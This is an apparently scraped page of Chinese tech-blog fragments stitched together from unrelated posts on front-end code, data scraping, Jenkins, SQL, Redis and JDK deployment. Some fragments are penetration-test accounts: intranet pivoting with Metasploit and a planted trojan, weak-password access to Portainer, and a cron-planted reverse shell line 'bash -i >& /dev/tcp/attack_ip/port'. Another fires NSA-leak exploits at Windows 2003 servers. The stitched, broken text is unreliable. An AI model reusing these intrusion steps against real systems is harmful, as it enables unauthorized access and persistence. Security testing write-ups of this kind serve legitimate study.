背景:UED给的设计稿要求。需要实现多行文本溢出省略号的样式。 原以为是一个简单的小需求, 框框直接上手。...由于我需要的样式是类似文字环绕的效果,所以我无法直接给标签外的文字添加一个span标签来改变html结构。需要加上浮动效果才行。 总结就是我太菜了,所以我改用了一种比较原始的方法。...用js去实现多行文本溢出省略+浮动去实现我想要的效果....因此记录一下 我是标签 { await nextTick(); // 确保 DOM 已更新
上周末接到一个单1200,客服抽了百分之十的提成,到手1000,两个小时就完成了,心里美滋滋的,这样的单其实平常不多,技术难度低但是价格高,我们俗称“捡鱼单”。...offset=1 开发环境:win10、python3.7 开发工具:pycharm、Chrome 项目思路解析 首先将猫眼电影的所以的电影信息采集下来 这里以猫眼的top100榜为例 获取到电影信息...df.info() print(df.columns) # In[11]: #年份&上映电影的数目 2018及以后的上映数目只是目前猫眼上公布的,具有不确定性,就先把2018及之后的剔除...') #基于上图,再弄一个上映时间&上映数量&评分的关系图 #但是由于1980年以前的数据量较少,评分不准确,将主要的分析区域集中在1980-2017 x=df[df[u'上映时间']<2018...为了方便统计 先写一个函数用来对类型进行分割 # In[18]: #写分割的函数 传入一个Sreies 类型对象 返回一个类型分割的DataFrame #这里传入的是一个 类型的Series
更新的同时获取被更新的记录的id 一般我的写法是 select auto_id into v_id from history where state=1 and rownum=1; update
说干就干,下面记录一下升级的痛苦过程...... 1. jenkins升级的痛苦过程 按照官方的文档也一般的安装过程就是下载最新jar包替换这样的流程。故: 1....看了一眼tomcat的日志: [image.png] 更新到最新版本以失败告终...........当然了 只是变成了下载war包下载2.263.1的war包。嗯更新完可以正常进入: 任务就忽略了,瞎写着测试的.........继续更新jenkins 重新执行1.1-1.4流程,嗯版本总算更新成功了 [image.png] 查看tomcat log: [image.png] 总结: 通过这次更新个人的总结: 更新升级前要做好程序与配置文件的备份...(比较有些配置文件与程序是分开的) 深入了解一下版本的更新文档?
比如布置后门、跳板、维持权限等;我这就简单的就靶机演示一下内网的渗透。 .../system64.exe “IP”为你自己kali的“外网”IP 2、把生成的马?放上对方的服务器上。 ? 3、kali中kali开启监听模式 ?...4、下面我演示的是自己内网的一台虚拟机。我也在同网段开启了三台机器来模拟内网。 ? ? 2008 R2 虚拟机的IP是192.168.124.27 ?...这里打码的地方是我虚拟机的明文密码 这里就不展示了 8、流量跳板 首先要通过socks4代理进行流量转发出来 ?...最后会获取到会话,这样就完成了一次跳跃。获取到会话后,就可以按上面的命令进行获取信息了。比如获取用户名,进程等。 。。
在asp.net 2.0中,gridview控件是十分不错的控件。有的时候,可能一个GRIDVIEW控件中 的各行都是文本框,如何一次性更新所有修改过的记录呢?...有两种方法,一种是使用sqldatasource来更新 所有记录,但这个方法比较慢,因为每更新一条记录都要建立数据连接并执行updatecommand,会影响性能, 但还是先来看下实现方法: 另外一个方法是用组合SQL语句来进行的,
声明:本文中所测试的站点已获得授权进行渗透测试,任何模仿或借鉴本文思路或方法所造成的损失及引起的后果,请自行承担责任!!! 目标是某司及其旗下控股50%以上的子公司进行模拟真实的攻击行为。...花了几天时间发现其正面实在是难有什么收获或者突破,而且他的安全设备给我的压力也是非常的大,所以俺果断转变的方向,直接开始对比较“偏僻”的资产进行信息收集与测试,对一些看上去是“主力”的资产我是直接忽略了...通过各种信息收集工具的搭配使用,在一个“偏僻的端口上”发现一个portainer服务,再加上他没有登录次数的限制与验证码,所以直接弱口令爆出了密码。...echo "bash -i >& /dev/tcp/attack_ip/port 0>&1" > /test/etc/sysconfig/auto.sh crontab写入计划任务 # 每两个小时运行一次反弹脚本...直接查看mysql中存储用户信息的user表,密码是MD5加密的,我们需要去在线解一下密即可。
开发的游戏,使用双线,但每次更新都会有玩家反馈说无法进入游戏了。...很不幸,上周日更新的时候又遇到了问题了,然后开始排查问题… 首先收集玩家的信息,地址位置,网络情况(一般玩家不知道如何处理) 1、分析出现问题的特征,依据:玩家所在的地理位置,国内还是国外的哪个城市;...最终发现的问题,该玩家请求资源返回的IP地址为海外“以色列”,而且请求的资源,主文件近2M,而实际请求到的资源为180几K,然后复制地址,修改后面的参数,发现不带参数时可以正确请求资源---但资源是过期的...,不是最新的。...最后找运维那边的帮助协助查看,定位是网宿的CDN出了问题,至于玩家身在上海,为何请求会转向海外,暂时原因不太清楚,而海外的CDN在请求指定资源xxx.swf?
0x01 前言 前两天dnspod突然跟新了API,说是向下兼容旧的API,但是我软路由用的别人的脚本不能正常解析. 由于家里的服务器需要用到ddns解析,无奈之下只能自己写了!...您可以自由的转载和修改,但请务必注明文章来源和作者署名并说明文章非原创且不可用于商业目的。
表记录的插⼊ 批量插⼊多条记录 例如: insert…select插⼊结果集 注意:字段列表1与字段列表2的字段个数必须相同,且对应字段的数据类型尽量保持⼀致。...语句的功能基本相同,不同之处在于,使⽤replace语句向表插⼊新记录 时,如果新记录的主键值或者唯⼀性约束的字段值与旧记录相同,则旧记录先被删除(注意:旧记录删 除时也不能违背外键约束条件),然后再插...表记录的修改 表记录的删除 使⽤truncate清空表记录 从逻辑上说,该语句与“delete from表名”语句的作⽤相同,但是在某些情况下,两者在使⽤上有所区 别。...例如,如果清空记录的表是⽗表,那么truncate命令将永远执⾏失败。如果使⽤truncate table成 功清空表记录,那么会重新设置⾃增型字段的计数器。...表记录的检索 select语句基本格式 使⽤谓词过滤记录 使⽤谓词distinct过滤结果集中的重复记录。
记录一次接口评测的优化 背景 我们在测试过程中往往使用不同的方式评估产品的质量,这些方法种类繁多,从简单的缺陷计数到严格的统计建模不一而足。...,每次读取评测语料文件夹,每执行一条语料记录一次是否满足准确率条件,最终输出评测结果。...日志记录清晰,可以很直观的看到,评测执行每一条语料的进行情况 缺点: 1....不稳定,使用多种语料评测后,发现大语料容易导致稳定性问题,一旦触发崩溃,则会丢失文件,影响数据的准确性 处理崩溃的能力是评测工具很重要的一部分,不稳定的评测更是对结果造成严重的印象,因此下一次优化主要针对评测工具的稳定性进行处理...评测工具v4版本: 描述:优化数据处理,每次读写1000条;过程中出现崩溃,更新重跑机制,每遇到崩溃,重跑一次,若成功则继续,若不成功则记录问题数据;更新用户数据的继承能力 优点: 1.
在工作时, 和同事一起遇到了一个关于SQL优化方面的问题, 现在将解决过程记录如下 项目缺陷描述 ? 项目分析思路 首先F12进入开发者模式, 查看最费时的请求 ?...然后利用restful风格接口工具集( RestfulToolkit ) : 用于将前端请求的url与后端的controller对应. 安装后的快捷键( Ctrl+\ ) ?...我们从listCateByStoreId()方法的实现类可以看出, 该方法的实现类要获取request对象的storeId, 而我们又没有设置,导致进行权标扫描 ?...改进 通过封装的方法去查StoreId, 然后进行相关条件的判断 ? 在数据库中为该字段添加索引...., 可以看到后端的响应速度得到了很大的优化 ?
,后来用的csc的c#白名单才上线成功,此处未详细思考。...很贴心的msf代理命令 于是上msf开扫 扫完的结果整理出来 果然是有大量的03系统 然后由于03和08不是同一个exp 遂整理成这样 ?...这样就好了 地址填写你的c2(也就是你cs的地址)端口就是那个前图代理msf的图里的端口 然后再改一下规则 本来以为改一下gui本身就行了 还是忘了nsa里面的exe 于是全部加上 ?...准备好之后就真的能开打了 一阵exp过后 发现把msf扫出来带漏洞的 03服务器全部打上了bind了 然而此时发现有重复的机器 就是有些机器有好几个ip 所以我在最初那个图上做了记录 表明一下哪些陌生的...当我还在愉快地看看有没有多余的信息的时候 忽然发现 有一台服务器不大对劲 查看进程的时候发现用户名前面还挺牛逼的加我原本webshell的域名了 ?
问题复现 这次崩溃的原因是安装主题的时候手贱终止了一次然后就出了问题,导致hexo的各种命令如clean、generate、server等一直报警告并且导致网页资源的渲染出问题从而使得网站运行异常 而这次发帖是为了记录本次的修复过程以提供后用...修复的原理 我们都知道hexo的目录下面有一个node_modules文件架夹和一个package.json文件(安装插件后会自动生成),文件夹是保存了各个插件的文件依赖,json文件是保存了hexo...的各个依赖组件,使用npm install可以根据此文件进行批量安装。...更新/安装中断或者操作插件的时候导致的异常一般是因为node_modules文件夹里面的文件出问题或者丢失 所以我们遇到什么困难也不要怕,微笑着干掉它,没错,直接把node_modules文件夹整个删掉...然后就没有问题了,因为整个问题的根源已经没有了233,开玩笑的,基本上只要把插件重新一个个安装完基本上就没事了,当然,如果你在折腾主题的话还需要先把主题会复制折腾之前哦。
一次高并发抢购活动引起的生产事故的过程分析记录 1.在日志中观察到的很多dubbo超时报错 Caused by: com.alibaba.dubbo.remoting.TimeoutException...将sql全部优化之后,发现在高并发的时候日志中还是有超时的报错,看问题还是一样的,最后排查发现是因为A服务对外提供了一个按id查唯一信息的rpc接口,B服务中有逻辑为了获取多个id的信息,循环进行多次rpc...所以如果B服务获取的id信息越多对应的rpc循环调用的次数也就越多,从而B的这个业务操作会更加耗时,最后导致超时问题的出现。...最后把这里优化掉,改成一次rpc调用从A服务中批量拿到全部的数据后再在B服务这里分组依次获取。...这里可以参见我另外一篇文章https://www.cnblogs.com/lingyejun/p/12539694.html 6.最终,将上面的问题都解决了之后事故得以最终解决,特此记录,备忘。
以前写的基于MSSQL数据库的.NET程序,不用担心SQL语句中的;或者换行符。...但是因为要基于Infor LN的Oracle数据库进行开发,就碰到了;分号和换行的报错,同时一次执行UPDATE的多条更新语句时,也会报错。...Oracle.ManagedDataAccess.Client.OracleException:ORA-00911: invalid character 单行SQL如果有换行时,加了;就报上面的错,多行执行的时候...BPM的移动互联的一点想法 6年做BPM的实施、开发、推广应用的一个小结 从崔牛的2017云图看BPM市场 原创FlowPortal用户手写签名插件:Signature,需要另购手写板...(及手写笔) BPM一夜之间都成了低代码开发平台 我的第一个原创FlowPortal插件:TaskComment,给你的应用增加万能评论功能
而安装Carthage之前需要安装Homebrew,这里记录安装Homebrew和Carthage的方法。 这篇文章,我们将按照操作的先后顺序依次来介绍。...首先,安装Homebrew,其次安装Carthage,以及更新Carthage,最后查看Carthage版本。...示例 安装完的提示如下: ? 示例 检测brew版本的命令: $ brew -v 上图提示安装成功。虽然安装成功,但还是报了部分错误,这是我的电脑遇到的情况。...安装carthage示例 3.最后,如果carthage版本落后了,需要更新carthage 输入以下命令 $ brew update carthage ?...更新carthage示例 上图中,尽管在update这个Homebrew的时候,有几个找不到目录的警告。
redis在容器化的过程中,涉及到纵向扩pod实例cpu、内存以及redis实例的maxmemory值,statefulset管理的pod需要重启。...所以把redis集群的状态检查放到了健康检查中,依赖statefulset的原生能力(pod实例ready后才重启下一个,ready后endpoints controller将pod信息更新到endpoints...vi 1.txt查看文件,在vi里用set ff命令查看文件格式为unix,但是文件每一行后面都有一个^M的特殊字符,这就是问题所在了。 ? 最主要是通过cat都看不出来特殊字符的存在。 ?...cluster_state的值是否为ok,以及cluster_known_nodes的值是 #否为1,判断redis集群是否正常;如果redis集群刚创建,cluster_known_nodes #为1...当然windows上编辑过的脚本在linux上运行一般dos2unix test.sh这样转换一下最好,免的遇到麻烦。
起因 最近做的一个小项目,因为要涉及到批量部署,每次在部署之前都需要在各个主机上先安装jdk环境(为了使用jdk自带的工具如jps等,所以没有单纯安装jre),但是因为jdk文件太大(以jdk-8u161...-linux-x64.tar.gz文件为例,大小为:189.8 MB),每次花费在文件拷贝上的时间都比较多,特别是需要大批量部署的时候总共需要消耗的时间还是比较可观的.因此就突发奇想:是否可以对jdk进行...毕竟并非JDK中所有的Java类都需要用到,可以将那些不需要的Java类文件以及一些文档性的东西删除掉.于是在google了一下,已经有人这么干过了,参考: https://blog.csdn.net/...xuweilinjijis/article/details/77527117 jdk1.8运行环境精简瘦身 我的实践 我根据搜索到的资料,结合自身的实际需求,以满足程序能够正常运行的最低需求,对jdk-...,如:Ansible,Puppet等等,而是仅仅通过一个shell脚本进行自动化拷贝和部署.所以,当我在自己实现这个自动化部署工具的时候才真正感受到大文件拷贝消耗的时间成本.
看了下待遇啥的都还能接受(饿不死就行),问了问大概要考察的内容,回答就是简短的“技术”,讲道理当时是比较慌的,毕竟这两个字包含的东西太多了。...这个属于自由发挥,我经历写的ow,csgo,pubg,糖豆人这几个,主要是便于外挂分析,以我的回答为例(瞎扯,图一乐就行): ow的外挂主要是透视+自瞄,原理就是对数据包的拦截以及解密,把敌人坐标及技能状态读取出来...重难点 只记录我认为的重/难点,水平有限写的比较烂,如果代码有错误欢迎评论区指出 1.编程实现十进制转十六进制,不得使用已经定义的库(string也不行) 分析:就是纯手撸实现进制转换,先十转二,...还有就是这笔试的时间其实蛮吃紧的,90min我几乎全程都在答题,就这样也只是刚刚答完,如果算上提前发卷的话,我的作答时间已经是超时的了(再次感谢前台和技术的不杀之恩)。...---- 差不多就这些了,这次也算是我的第一次面试,之前投的大厂除了挂笔试就是挂简历,属实给我整抑郁了,这次也算是多多少少找回了点信心,有跟我一样是双非的同学如果技术不是特别出众又想找实习的话,建议把目标放低一点
领取专属 10元无门槛券
手把手带您无忧上云